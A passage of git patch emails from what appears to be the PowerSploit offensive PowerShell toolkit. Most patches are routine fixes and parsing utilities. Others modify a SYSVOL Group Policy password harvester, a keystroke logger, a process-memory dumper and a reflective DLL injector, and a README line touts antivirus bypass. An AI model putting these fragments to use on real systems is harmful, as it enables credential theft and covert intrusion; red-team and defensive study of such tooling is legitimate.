From c623814116fbefa86576a9d3651c8df59faa12ef Mon Sep 17 00:00:00 2001 From: hajdbo Date: Mon, 12 Aug 2013 12:04:38 +0200 Subject: [PATCH 001/382] added ErrorAction SilentlyContinue to Get-ChildItem Sometimes you will have a denied access to a directory. "ErrorAction SilentlyContinue" will continue searching recursively in \SYSVOL even when it encounters a directory where access is denied. --- Exfiltration/Get-GPPPassword.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 7204a45a..c905f089 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -64,8 +64,8 @@ if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} - #discover potential files containing passwords - $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' + #discover potential files containing passwords ; not complaining in case of denied access to a directory + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' foreach ($File in $XMLFiles) { From 9577a4e2c2ea2679c96874498de037a88911962b Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Fri, 16 Aug 2013 06:28:47 -0400 Subject: [PATCH 002/382] Compiler parameters were not applied to Add-Type The compiler parameters were not being applied to Add-Type in Get-PEHeader. Derp. This led to unexpected errors when Visual Studio environment variables were defined. --- PETools/Get-PEHeader.ps1 | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/PETools/Get-PEHeader.ps1 b/PETools/Get-PEHeader.ps1 index 551aac04..2f35292b 100644 --- a/PETools/Get-PEHeader.ps1 +++ b/PETools/Get-PEHeader.ps1 @@ -525,12 +525,10 @@ PROCESS { } "@ - $location = [PsObject].Assembly.Location $compileParams = New-Object System.CodeDom.Compiler.CompilerParameters - $assemblyRange = @("System.dll", $location) - $compileParams.ReferencedAssemblies.AddRange($assemblyRange) + $compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll')) $compileParams.GenerateInMemory = $True - Add-Type -TypeDefinition $code -passthru -WarningAction SilentlyContinue | Out-Null + Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null } function Get-DelegateType From ba3361341307104450628b456d8b19ee047ef10e Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 17 Aug 2013 16:31:48 -0400 Subject: [PATCH 003/382] Added additional error handling to Get-GPPPassword --- Exfiltration/Get-GPPPassword.ps1 | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index c905f089..7dbd23d8 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -61,12 +61,19 @@ } #ensure that machine is domain joined and script is running as a domain account - if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} - if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) + { + throw 'Machine is not joined to a domain.' + } #discover potential files containing passwords ; not complaining in case of denied access to a directory - $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml' + if ( -not $XMlFiles ) + { + throw 'No files containing encrypted passwords found.' + } + foreach ($File in $XMLFiles) { try { From d67e71bf2d87dfce4481eeeaffd871c4173f091c Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 17 Aug 2013 16:39:20 -0400 Subject: [PATCH 004/382] Out-Minidump now provides descriptive output Out-Minidump now outputs a FileInfo object (i.e. the same output as Get-ChildItem) upon successfully creating a dump file. --- Exfiltration/Out-Minidump.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Exfiltration/Out-Minidump.ps1 b/Exfiltration/Out-Minidump.ps1 index be3e4d53..afb7dc9f 100644 --- a/Exfiltration/Out-Minidump.ps1 +++ b/Exfiltration/Out-Minidump.ps1 @@ -60,7 +60,7 @@ .OUTPUTS - None + System.IO.FileInfo .LINK @@ -122,7 +122,7 @@ } else { - Write-Verbose "Success! Minidump written to $ProcessDumpPath." + Get-ChildItem $ProcessDumpPath } } From 05d335512a441437c301bd784bf02f78030caf2f Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 17 Aug 2013 16:56:11 -0400 Subject: [PATCH 005/382] Get-Keystrokes now accepts relative paths --- Exfiltration/Get-Keystrokes.ps1 | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 0698d9df..48b7df60 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -33,7 +33,7 @@ #> [CmdletBinding()] Param ( [Parameter(Position = 0)] - [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] [String] $LogPath = "$($Env:TEMP)\key.log", @@ -42,6 +42,8 @@ $CollectionInterval ) + $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) + Write-Verbose "Logging keystrokes to $LogPath" $Initilizer = { From 9bb31fc9b9b3524d4a4b45b8e92bc5fba6da6645 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 17 Aug 2013 17:16:38 -0400 Subject: [PATCH 006/382] Removing Get-PEArchitecture This functionality is present and maintained in Get-PEHeader. --- PETools/Get-PEArchitecture.ps1 | 94 ---------------------------------- PETools/PETools.psd1 | 3 +- README.md | 4 -- 3 files changed, 1 insertion(+), 100 deletions(-) delete mode 100644 PETools/Get-PEArchitecture.ps1 diff --git a/PETools/Get-PEArchitecture.ps1 b/PETools/Get-PEArchitecture.ps1 deleted file mode 100644 index efc80bea..00000000 --- a/PETools/Get-PEArchitecture.ps1 +++ /dev/null @@ -1,94 +0,0 @@ -function Get-PEArchitecture -{ -<# -.SYNOPSIS - -Outputs the architecture for which a binary was compiled. - -PowerSploit Function: Get-PEArchitecture -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-PEArchitecture returns the architecture for which a Windows portable executable was compiled. - -.PARAMETER Path - -Path to the executable. - -.EXAMPLE - -C:\PS> Get-PEArchitecture C:\Windows\SysWOW64\calc.exe -X86 - -.EXAMPLE - -C:\PS> Get-PEArchitecture C:\Windows\System32\cmd.exe -X64 - -.LINK - -http://www.exploit-monday.com -#> - - Param ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $Path - ) - - if (!(Test-Path $Path)) { - Write-Warning 'Invalid path or file does not exist.' - return - } - - # Parse PE header to see if binary was compiled 32 or 64-bit - $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - - [Byte[]] $MZHeader = New-Object Byte[](2) - $FileStream.Read($MZHeader,0,2) | Out-Null - - $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) - if ($Header -ne 'MZ') { - Write-Warning 'Invalid PE header.' - $FileStream.Close() - return - } - - # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) - $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - - [Byte[]] $lfanew = New-Object Byte[](4) - - # Read offset to the PE Header (will be read in reverse) - $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - - # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE - $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null - [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - - # Read compiled architecture - $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') - $FileStream.Close() - - if (($Architecture -ne '014C') -and ($Architecture -ne '8664') -and ($Architecture -ne '01C4')) { - Write-Warning 'Invalid PE header or unsupported architecture.' - return - } - - if ($Architecture -eq '014C') { - return 'X86' - } elseif ($Architecture -eq '8664') { - return 'X64' - } elseif ($Architecture -eq '01C4') { - return 'ARM' - } else { - return 'OTHER' - } - -} diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index 696eb57f..d4143653 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -74,8 +74,7 @@ ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd150 # List of all files packaged with this module FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1', - 'Get-PEArchitecture.ps1', 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', - 'Usage.md' + 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/README.md b/README.md index d29d2273..6bdda8de 100644 --- a/README.md +++ b/README.md @@ -72,10 +72,6 @@ An in-memory and on-disk PE parsing utility. Displays information about one or more Windows object files. -#### `Get-PEArchitecture` - -Returns the architecture for which an executable was compiled. - #### `Get-DllLoadPath` Returns the path from which Windows will load a Dll for the given executable. From 7f0be861f23e85e35284125620a4a0c1a52e83e5 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 17 Aug 2013 17:39:04 -0400 Subject: [PATCH 007/382] Added ps1xml file for Get-ILDisassembly Output from Get-ILDisassembly is slightly cleaner. --- .../Get-ILDisassembly.format.ps1xml | 40 +++++++++++++++++++ ReverseEngineering/Get-ILDisassembly.ps1 | 5 ++- ReverseEngineering/ReverseEngineering.psd1 | 4 +- 3 files changed, 46 insertions(+), 3 deletions(-) create mode 100644 ReverseEngineering/Get-ILDisassembly.format.ps1xml diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml new file mode 100644 index 00000000..f933e1e9 --- /dev/null +++ b/ReverseEngineering/Get-ILDisassembly.format.ps1xml @@ -0,0 +1,40 @@ + + + + + ILInstructionView + + IL_INSTRUCTION + + + + + + + + + + + + + + + + + + + Position + + + Instruction + + + Operand + + + + + + + + \ No newline at end of file diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 index b3b615ea..645dc394 100644 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ b/ReverseEngineering/Get-ILDisassembly.ps1 @@ -201,8 +201,11 @@ http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf } # Return a custom object containing a position, instruction, and fully-qualified operand - New-Object PSObject -Property $Instruction + $InstructionObject = New-Object PSObject -Property $Instruction + $InstructionObject.PSObject.TypeNames.Insert(0, 'IL_INSTRUCTION') + $InstructionObject + # Adjust the position in the opcode array accordingly $Position += $OperandLength } diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index 1e179ea0..0f643b77 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml' +FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml', 'Get-ILDisassembly.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() @@ -76,7 +76,7 @@ ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; G FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml', 'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml', 'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1', - 'New-Object.ps1', 'Usage.md' + 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' From fcdd3ad6428b4f1ecfd7f63be629af8cbe3204af Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Sat, 17 Aug 2013 17:55:31 -0400 Subject: [PATCH 008/382] Explicitly casting types as [Type] The latest version of .NET added generics to many of the InteropService methods. Therefore, all of my uses of types need to be explicitly cast with [Type]. --- ReverseEngineering/Get-NtSystemInformation.ps1 | 6 +++--- ReverseEngineering/Get-StructFromMemory.ps1 | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/ReverseEngineering/Get-NtSystemInformation.ps1 b/ReverseEngineering/Get-NtSystemInformation.ps1 index b571ac07..bb0871a8 100644 --- a/ReverseEngineering/Get-NtSystemInformation.ps1 +++ b/ReverseEngineering/Get-NtSystemInformation.ps1 @@ -633,7 +633,7 @@ foreach ($i in 0..($Count-1)) { - [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, $StructType) + [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $StructType) $StructAddress = ([IntPtr]($StructAddress.ToInt64() + $StructSize)) } @@ -958,7 +958,7 @@ # Base address of the _SYSTEM_OBJECTTYPE_INFORMATION struct $ObjectTypeAbsoluteAddress = [IntPtr]($PtrData.ToInt64() + $NextTypeOffset) - $Result = [Runtime.InteropServices.Marshal]::PtrToStructure($ObjectTypeAbsoluteAddress, $ObjectTypeClass) + $Result = [Runtime.InteropServices.Marshal]::PtrToStructure($ObjectTypeAbsoluteAddress, [Type] $ObjectTypeClass) if ($Result.NumberOfObjects -gt 0) { @@ -970,7 +970,7 @@ do { - $ObjectResult = [Runtime.InteropServices.Marshal]::PtrToStructure(( [IntPtr]($ObjectBaseAddr.ToInt64() + $NextObjectOffset) ), $ObjectClass) + $ObjectResult = [Runtime.InteropServices.Marshal]::PtrToStructure(( [IntPtr]($ObjectBaseAddr.ToInt64() + $NextObjectOffset) ), [Type] $ObjectClass) $ResultHashTable2 = @{ Object = $ObjectResult.Object diff --git a/ReverseEngineering/Get-StructFromMemory.ps1 b/ReverseEngineering/Get-StructFromMemory.ps1 index ccf6d5be..c32c1901 100644 --- a/ReverseEngineering/Get-StructFromMemory.ps1 +++ b/ReverseEngineering/Get-StructFromMemory.ps1 @@ -131,7 +131,7 @@ http://www.exploit-monday.com $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) # Confirm you can actually read the address you're interested in - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf($MEMORY_BASIC_INFORMATION)) | Out-Null + $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type] $MEMORY_BASIC_INFORMATION)) | Out-Null $PAGE_EXECUTE_READ = 0x20 $PAGE_EXECUTE_READWRITE = 0x40 @@ -154,7 +154,7 @@ http://www.exploit-monday.com throw 'The address specified does not have read access.' } - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf($StructType) + $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $StructType) $EndOfAllocation = $AllocationBase + $RegionSize $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize @@ -194,7 +194,7 @@ http://www.exploit-monday.com Write-Verbose "Struct Size: $StructSize" Write-Verbose "Bytes read: $BytesRead" - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, $StructType) + $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType) [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) $SafeHandle.Close() From 6807da424fca9e1f4b4946e695486aefb7eae1fa Mon Sep 17 00:00:00 2001 From: mattifestation Date: Thu, 29 Aug 2013 19:56:01 +0000 Subject: [PATCH 009/382] Added ProcessModuleTrace cmdlets Added *-ProcessModuleTrace cmdlets to trace details when modules are loaded into a process. These can be useful for malware analysis. --- README.md | 12 ++ .../ProcessModuleTrace.format.ps1xml | 36 ++++++ ReverseEngineering/ProcessModuleTrace.ps1 | 103 ++++++++++++++++++ ReverseEngineering/ReverseEngineering.psd1 | 4 +- 4 files changed, 153 insertions(+), 2 deletions(-) create mode 100644 ReverseEngineering/ProcessModuleTrace.format.ps1xml create mode 100644 ReverseEngineering/ProcessModuleTrace.ps1 diff --git a/README.md b/README.md index 6bdda8de..5141808e 100644 --- a/README.md +++ b/README.md @@ -116,6 +116,18 @@ Converts the bytes of a file to a string that has a 1-to-1 mapping back to the f Get the unmanaged function address of a .NET method. +#### `Register-ProcessModuleTrace` + +Starts a trace of loaded process modules + +#### `Get-ProcessModuleTrace` + +Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace + +#### `Unregister-ProcessModuleTrace` + +Stops the running process module trace + ## AntivirusBypass **AV doesn't stand a chance against PowerShell!** diff --git a/ReverseEngineering/ProcessModuleTrace.format.ps1xml b/ReverseEngineering/ProcessModuleTrace.format.ps1xml new file mode 100644 index 00000000..fbad0b9c --- /dev/null +++ b/ReverseEngineering/ProcessModuleTrace.format.ps1xml @@ -0,0 +1,36 @@ + + + + + ProcessModuleTraceView + + LOADED_MODULE + + + + + + + TimeCreated + + + ProcessId + + + FileName + + + + "0x$($_.ImageBase.ToString("X$([IntPtr]::Size * 2)"))" + + + ImageSize + 0x{0:X8} + + + + + + + + \ No newline at end of file diff --git a/ReverseEngineering/ProcessModuleTrace.ps1 b/ReverseEngineering/ProcessModuleTrace.ps1 new file mode 100644 index 00000000..3eb57a78 --- /dev/null +++ b/ReverseEngineering/ProcessModuleTrace.ps1 @@ -0,0 +1,103 @@ +function Register-ProcessModuleTrace +{ +<# +.SYNOPSIS + + Starts a trace of loaded process modules + + PowerSploit Function: Register-ProcessModuleTrace + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.OUTPUTS + + System.Management.Automation.PSEventJob + + If desired, you can manipulate the event returned with the *-Event cmdlets. + +.LINK + + http://www.exploit-monday.com/ +#> + + [CmdletBinding()] Param () + + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) + { + throw 'You must run this cmdlet from an elevated PowerShell session.' + } + + $ModuleLoadedAction = { + $Event = $EventArgs.NewEvent + + $ModuleInfo = @{ + TimeCreated = [DateTime]::FromFileTime($Event.TIME_CREATED) + ProcessId = $Event.ProcessId + FileName = $Event.FileName + ImageBase = $Event.ImageBase + ImageSize = $Event.ImageSize + } + + $ModuleObject = New-Object PSObject -Property $ModuleInfo + $ModuleObject.PSObject.TypeNames[0] = 'LOADED_MODULE' + + $ModuleObject + } + + Register-WmiEvent 'Win32_ModuleLoadTrace' -SourceIdentifier 'ModuleLoaded' -Action $ModuleLoadedAction +} + +function Get-ProcessModuleTrace +{ +<# +.SYNOPSIS + + Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace + + PowerSploit Function: Get-ProcessModuleTrace + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: Register-ProcessModuleTrace + Optional Dependencies: None + +.OUTPUTS + + PSObject + +.LINK + + http://www.exploit-monday.com/ +#> + + $Events = Get-EventSubscriber -SourceIdentifier 'ModuleLoaded' -ErrorVariable NoEventRegistered -ErrorAction SilentlyContinue + + if ($NoEventRegistered) + { + throw 'You must execute Register-ProcessModuleTrace before you can retrieve a loaded module list' + } + + $Events.Action.Output +} + +function Unregister-ProcessModuleTrace +{ +<# +.SYNOPSIS + + Stops the running process module trace + + PowerSploit Function: Unregister-ProcessModuleTrace + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: Register-ProcessModuleTrace + Optional Dependencies: None + +.LINK + + http://www.exploit-monday.com/ +#> + + Unregister-Event -SourceIdentifier 'ModuleLoaded' +} \ No newline at end of file diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index 0f643b77..b7da3551 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml', 'Get-ILDisassembly.format.ps1xml' +FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() @@ -76,7 +76,7 @@ ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; G FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml', 'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml', 'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1', - 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'Usage.md' + 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' From 5e1f6ac29a851b6833b0e313c02f684f54a79b53 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 3 Sep 2013 20:10:18 -0700 Subject: [PATCH 010/382] Call to DllMain when unloading reflective DLL Prior to this fix, DllMain with the ProessDetach flag was not called when unloading the reflectively loaded DLL. This was causing very weird crashes in the Invoke-NinjaCopy script which is built on this script. This should fix the crash. --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index b582847a..a9772e20 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -2620,6 +2620,15 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/ $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) From e62121ea27d01f4cfa2be180353cc3bc34bdb677 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sun, 29 Sep 2013 17:12:03 -0400 Subject: [PATCH 011/382] Added Get-LibSymbols Get-LibSymbols parses Microsoft .lib files and displays decorated and undecorated symbols. --- PETools/Get-LibSymbols.format.ps1xml | 31 +++ PETools/Get-LibSymbols.ps1 | 275 +++++++++++++++++++++++++++ PETools/PETools.psd1 | 5 +- README.md | 4 + 4 files changed, 313 insertions(+), 2 deletions(-) create mode 100644 PETools/Get-LibSymbols.format.ps1xml create mode 100644 PETools/Get-LibSymbols.ps1 diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml new file mode 100644 index 00000000..41747cbf --- /dev/null +++ b/PETools/Get-LibSymbols.format.ps1xml @@ -0,0 +1,31 @@ + + + + + SymbolTypeView + + COFF.SymbolInfo + + + + + + + SymbolType + + + Module + + + DecoratedName + + + UndecoratedName + + + + + + + + \ No newline at end of file diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 new file mode 100644 index 00000000..79dede5c --- /dev/null +++ b/PETools/Get-LibSymbols.ps1 @@ -0,0 +1,275 @@ +function Get-LibSymbols +{ +<# +.SYNOPSIS + + Displays symbolic information from Windows lib files. + + PowerSploit Function: Get-LibSymbols + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-LibSymbols parses and returns symbols in Windows .lib files + in both decorated and undecorated form (for C++ functions). + +.PARAMETER Path + + Specifies a path to one or more lib file locations. + +.EXAMPLE + + C:\PS>Get-LibSymbols -Path msvcrt.lib + +.EXAMPLE + + C:\PS>ls *.lib | Get-LibSymbols + +.INPUTS + + System.String[] + + You can pipe a file system path (in quotation marks) to Get-LibSymbols. + +.OUTPUTS + + COFF.SymbolInfo + +.LINK + + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateScript({ Test-Path $_ })] + [Alias('FullName')] + [String[]] + $Path + ) + + BEGIN + { + $Code = @' + using System; + using System.IO; + using System.Text; + using System.Runtime.InteropServices; + + namespace COFF + { + public class HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public DateTime TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + + public HEADER(BinaryReader br) + { + this.Machine = br.ReadUInt16(); + this.NumberOfSections = br.ReadUInt16(); + this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); + this.PointerToSymbolTable = br.ReadUInt32(); + this.NumberOfSymbols = br.ReadUInt32(); + this.SizeOfOptionalHeader = br.ReadUInt16(); + this.Characteristics = br.ReadUInt16(); + } + } + + public class IMAGE_ARCHIVE_MEMBER_HEADER + { + public string Name; + public DateTime Date; + public ulong Size; + public string EndHeader; + + public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) + { + string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); + DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); + this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); + this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); + br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. + this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); + this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); + } + } + + public class Functions + { + [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] + public static extern int UnDecorateSymbolName( + [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, + [Out] StringBuilder UnDecoratedName, + [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, + [In] [MarshalAs(UnmanagedType.U4)] uint Flags); + } + } +'@ + + Add-Type -TypeDefinition $Code + + function Dispose-Objects + { + $BinaryReader.Close() + $FileStream.Dispose() + } + } + + PROCESS + { + foreach ($File in $Path) + { + # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. + $LibFilePath = Resolve-Path $File + + # Pull out just the file name + $LibFileName = Split-Path $LibFilePath -Leaf + + $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 + $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files + $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length + $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header + $SizeofCOFFFileHeader = 20 + + # Open the object file for reading + $FileStream = [IO.File]::OpenRead($LibFilePath) + + $FileLength = $FileStream.Length + + # Validate lib header size + if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) + { + # You cannot parse the lib header if the file is not big enough to contain a lib header. + Write-Error "$($LibFileName) is too small to store a lib header." + 